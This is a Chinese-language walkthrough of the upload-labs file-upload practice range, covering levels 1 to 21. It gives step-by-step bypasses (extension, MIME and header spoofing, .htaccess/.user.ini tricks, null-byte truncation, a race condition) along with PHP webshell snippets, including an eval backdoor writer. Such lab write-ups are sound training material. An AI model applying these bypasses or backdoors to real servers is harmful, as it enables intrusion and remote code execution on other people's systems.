pass-1
解题思路:这里对上传的文件扩展名进行验证,但是只在前端验证,服务端没有进行验证,因此伪造扩展名抓包然后再burp suite中修改扩展名即可绕过前端验证。还可以通过直接F12删除这段JavaScript代码(不刷新)或者在禁用JavaScript来实现前端验证绕过。
首先上传一个shell.php
代码语言:javascript复制<?php
phpinfo();
前端alert一个弹窗,只能上传图片,可知是在客户端JavaScript进行前端验证文件扩展名来过滤的
要绕过前端的过滤,只需要将shell.php的后缀名改为jpg,然后上传,burp suite抓包,修改content-type和文件扩展名即可如下,扩展名改为php,content-type改为application/octet-strea
放行请求,可以看到一个无效的图片,右键点击在新标签页打开图片即可执行这个webshell
如下所示,该webshell执行成功
pass-2
解题思路:本关的文件类型判断是在服务端判定的,但是是从http请求的的content-type字段中获取的,因此可以通过burp suite修改content-type来绕过检测
首先将shell.php上传,显示文件类型不正确,这次对于文件类型的验证是在服务端
服务端是通过什么来判断文件的类型并进行过滤的呢?可能通过content-type来判断文件的MIME类型,PHP可通过$_FILES[‘file’][‘type’]这段代码从http请求中获取content-type并进行判定
将shell.php文件上传,然后burp suite抓包,修改content-type为image/jpeg可能可以绕过后端的验证。
查看上传的文件,webshell执行成功
pass-3
解题思路:对文件名的扩展名进行判定,可以使用php文件的其他扩展名进行绕过。但是由于配置原因无法执行,同时会对上传的文件名重命名所有.htaccess无效,可以通过复写::DATA的方式绕过黑名单限制和::DATA的过滤。
在window的时候如果文件名加上::DATA会把::DATA之后的数据当成文件流处理,不会检测后缀名,(也就是说,会自动过滤掉文件的后缀名)。且保持::
先将shell.php上传,提示后缀名错误。可知这里是通过文件后缀名来过滤用户上传的文件的
不能上传asp、aspx、php、jsp文件。但是PHP 文件并非只有php一种扩展名,php文件通常使用以下几种扩展名:1、php:这是最常见的 PHP 文件扩展名,建议使用它来保存 PHP 代码文件;2、phtml:这也是一种常见的 PHP 文件扩展名,用于在 HTML 文件中嵌入 PHP 代码。但是,由于此扩展名与 HTML 混淆,因此可以导致一些安全问题。因此,一般不推荐使用此扩展名;3、php3、php4、php5、php7:这些扩展名用于指定 PHP 版本。例如,.php7 表示此文件需要在 PHP 7 或更高版本中运行;4、inc:这是一种用于包含 PHP 代码的文件扩展名,但是由于此扩展名与其他类型的文件混淆,因此不建议使用它。
因此我们将shell.php后缀名改为phtml上传即可
上传成功,但是访问网页发现没有显示phpinfo,可能是配置问题所有不解析phtml,只能更换其他策略
查看源码,源码将::DATA过滤掉,但是只过滤一次,因此可以用复写的方式在过滤后重新拼凑出一个::DATA,同时还能和php拼凑到一起绕过黑名单限制,修改后缀名如下,上传成功
访问网页并传递参数x=phpinfo(),webshell执行成功
pass-4
解题思路:.htaccess绕过
除此之外,还可通过.空格.绕过
黑名单禁止了许多文件类型
随便上传一张图片,发现后端代码未对文件进行重命名,因此猜测这里可以通过上传.htaccess来绕过。.htaccess文件是Apache服务器下的一个配置文件。其主要负责相关目录下的网页配置,即:在一个特定的文档目录中放置一个包含一个或多个指令的文件来对网页进行配置。不过需要注意的是,.htaccess文件的作用域为其所在目录与其所有的子目录,不过若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。对于.htaccess的作用规则
代码语言:javascript复制<ifModule mime_module>
AddHandler php5-script .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->
AddType application/x-httpd-php .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->
Sethandler application/x-httpd-php
<!-- 将该目录及子目录下的文件均按照php文件解析执行 -->
</ifModule>
<!-- 该种匹配方式并不推荐,极易造成误伤 -->
<FilesMatch "shell.jpg">
Sethandler application/x-httpd-php
<!-- 将匹配到的 shell.jpg 文件按照php解析执行 -->
Addhandler php5-script .jpg
<!-- 将匹配到的 shell.jpg 文件按照php解析执行 -->
</FilesMatch>
<!-- 该种匹配方式较为精准,不会造成大批的误伤情况 -->
编写.htaccess文件如下,精确匹配shell.jpg,将其按照php来解析执行。将shell.php后缀名修改为jpg上传
发现执行成功
pass-5
解题思路:目录下存在一个php文档,可以用user.ini的两个类似于require方法的配置进行文件包含绕过,来执行webshell
除此之外,还可通过.空格.绕过
user.ini类似于php.ini,是php默认的配置文件。php.ini更新需要重启服务,.user.ini 是动态读取的,不需要去重启使配置生效,默认是300秒 重新加载INI文件。
user.ini在有些时候作用和.htaccess类似,可以会引发文件包含安全问题。有两个危险函数
auto_prepend_file在页面顶部加载文件,查看官方文档
auto_append_file在页面底部加载文件,查看官方文档
可以使用上面两个函数任意一个,编写一个.user.ini文件包含如下内容
将shell.php去掉后缀名为shell即可上传成功
执行webshell成功
pass-6
解题思路:同第三关,还可以大写php扩展名来绕过
黑名单过滤了.htaccess,尝试使用::DATA,复写::DATA绕过文件后缀名检测。上传shell.php然后抓包
shell执行成功
pass-7
解题思路:同第三关
上传一张图片,发现图片被重命名,因此.htaccess绕过行不通
尝试::$DATA复写绕过,屡试不爽
pass-8
解题思路:使用.空格.
绕过
burp suite抓包,修改文件名如下
访问可知shell正常执行
pass-9
解题思路:该关卡源代码没有去除::$DATA,可以利用Windows的文件系统特性来绕过
在文件名后加::$DATA
访问,可知shell执行成功
pass-10
解题思路:同第八关
burp suite抓包,修改文件名如下
访问,发现shell正常执行
pass-11
解题思路:这一关会从文件名中去除下列后缀名,但是可能只删除一次,因此可以通过双写后缀名方式绕过
这一关会从文件名中去除下列后缀名,但是可能只删除一次,因此可以通过复写后缀名方式绕过。在php扩展名中间增加html,这样就会删除html而留下php,同时绕过后缀名检测。
修改请求如下
访问,发现shell执行成功
pass-12
解题思路:00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以 (即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到 字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入 字符的方式,达到字符串截断的目的。00截断通常用来绕过白名单限制。一般在上传路径可控的情况下危害较大
注意php版本需要小于5.3.29,且php.ini中的配置需要magic_quotes_gpc = Off
上传一个图片,发现url中多了一个GET请求参数,应该是用于控制上传的路径
在许多语言函数中,处理字符串的函数中0x00被认为是终止符。可以利用这一特性将路径与文件名拼凑起来,绕过上传文件后缀名同时构造出可执行的webshell。修改如下,这样文件上传的路径就会被/00截断,因此保存路径变为shell.php
访问,发现shell执行成功
pass-13
解题思路:同lab12,使用00截断。但是lab12是get传参,lab13是post传参,lab12的 会被解码,但是post的 不会被解码,因此需要做一定处理
首先修改包如下
然后选择 ,并将其进行url解码变成一个空字符
或者在shell.php后随便输入一个字符,然后在Hex中编辑,将该字符字节编辑成00即可上传成功
访问,发现上传成功
pass-14
解题思路:burpsuite修改shell.php的后缀名为png,在文件内容最前面增加png的文件头绕过检测,并使用文件包含执行webshell
查看include.php的源代码,接收一个get参数file,并包含这个文件
直接上传shell.png,提示上传的文件未知,猜测可能对文件头进行了检测
查看网上的教程,使用如下命令将一张正常图片和一个shell文件拼在一起
但是会报如下错误,好像不可行,不知道为什么,应该是图片太大了,直接用写入文件头的方式吧
由于本关通过文件头检测,因此可以直接抓包修改文件头。如下,在文件内容前面随便加8个字符
然后在Hex中编辑,将这八个字符修改为对应的文件头
代码语言:javascript复制// Png图片文件包括8字节
89 50 4E 47 0D 0A 1A 0A
// Jpg图片文件包括2字节
FF D8
// Gif图片文件包括6字节
47 49 46 38 39or37 61
修改成png的文件头89 50 4E 47 0D 0A 1A 0A如下
将pass14.png上传,然后查看保存的路径为upload/9020230713150133.png
。于是传递file参数为upload/9020230713150133.png
,包含木马图成功。jpg、gif等步骤都相似。
pass-15
解题思路:本pass使用getimagesize()检查是否为图片文件,判断图片大小,是为了防止上传大马。继续使用lab14的方法即可
pass-16
解题思路:这关和前两关类似,但是本pass使用exif_imagetype()检查是否为图片文件,因此需要在php.ini中开启这个模块
php_exif
是 PHP 的一个扩展模块,用于从图像文件中提取元数据(EXIF 数据),例如照片的拍摄时间、曝光时间、相机型号等。需要需要开启php_exif模块,在php.ini编辑如下。如果PHP版本低于5.2.0,那么 php_exif
扩展模块是不可用的。需要升级到5.2.0或更高版本。
开启了之后跟上一关相同,不影响我们挂马。修改请求如下
访问http://upload/include.php?file=upload/7320230713155357.png
,发现挂马成功
pass-17
解题思路:本pass重新渲染了图片,他在不改变图片原内容的情况下,重新制作了图片。那么我就应该找到那个没有改变的地方,并插入木马。
通过对比原图与渲染后的图的Hex码,找到渲染所不会影响的hex区域(文件头标志除外),替换掉不受渲染影响区域的字符
pass-18
解题思路:审计源代码,服务端首先将文件放在upload目录下,然后再对文件后缀名进行判断,如果是白名单,则对其重命名,否则使用unlink函数删除该文件。
在删除之前我们上传的木马会在服务端存在一段时间,我们只需要写一个脚本在服务端删除它之前访问它让他执行在目录下新建一个木马文件的代码即可
上传的文件内容如下,即新建一个shell(1).php并在里面写入一句话木马
代码语言:javascript复制<?php
fputs(fopen("shell(1).php", "w"), '<?php phpinfo();@eval($_GET["x"]);');
然后使用burp suite抓包,放入intruder。设置payload为空,次数为10000次
编写一个脚本一直访问我们上传的木马,与服务端的unlink代码进行条件竞争,只需要在删除之前访问到即可。在burp suite开始攻击的同时运行脚本
代码语言:javascript复制from urllib import response
import requests
while True:
url = "http://upload/upload/shell.php"
response = requests.get(url=url)
if response.status_code == 200:
break
当脚本停止后就说明挂马成功了,访问如下所示
pass-19
解题思路:利用图片马文件包含创建一个webshell
上传一张图片,发现路径改变
burpsuite抓包,修改木马文件头如下
使用文件包含执行一次木马,让卖家可以新建一个shell(1).php,访问webshell,执行成功
pass-20
解题思路:利用move_uploaded_file()的特性,忽略掉文件末尾的 /.
该题对传入的文件保存名的扩展名进行黑名单验证,利用move_uploaded_file()的特性,忽略掉文件末尾的 /.
。
burp suite抓包,修改保存名如下,最后加上/.
访问发现webshell上传成功
pass-21
解题思路:利用move_uploaded_file()函数的特性和数组特性绕过
审计代码,下面这段代码获取post传入的save_name
参数,如果为空则设置为上传的文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
这段代码判断file是否为数组,如果不是数组,则将file转为小写并以.为分割为一个数组
代码语言:javascript复制if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
然后使用end函数指向数组最后一个元素,获取文件的扩展名。之后对文件名进行白名单验证
代码语言:javascript复制$ext = end($file);
如果通过白名单验证,则执行下面的代码。reset函数指向file数组第一个元素,将其作为文件名,然后file[count(
代码语言:javascript复制$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
要绕过白名单检测,那么我们需要传入一个数组作为save_name。jpg
作为数组的最后一个元素
save_name[0] = "upload-20.php";
save_name[1] = "jpg"
要绕过最后文件上传对文件名的处理,要知道file[x]访问,如果数组中没有Key值为x的内容,那么返回为空。而count(file) - 1访问数组中key为1的元素,因此不设置数组中key为1的元素即可,那么用于拼接的后缀名为空。利用move_uploaded_file()的特性,忽略掉文件末尾的 /.,因此可以在save_name[0]最后加上/来绕过用于字符串拼凑的.。因此可以构造payload如下
代码语言:javascript复制save_name[0] = "upload-20.php/";
save_name[2] = "jpg"
该pass还对MIME进行了判断,因此最后修改payload如下所示,发送请求
访问http://upload/upload/upload-20.php
,webshell执行成功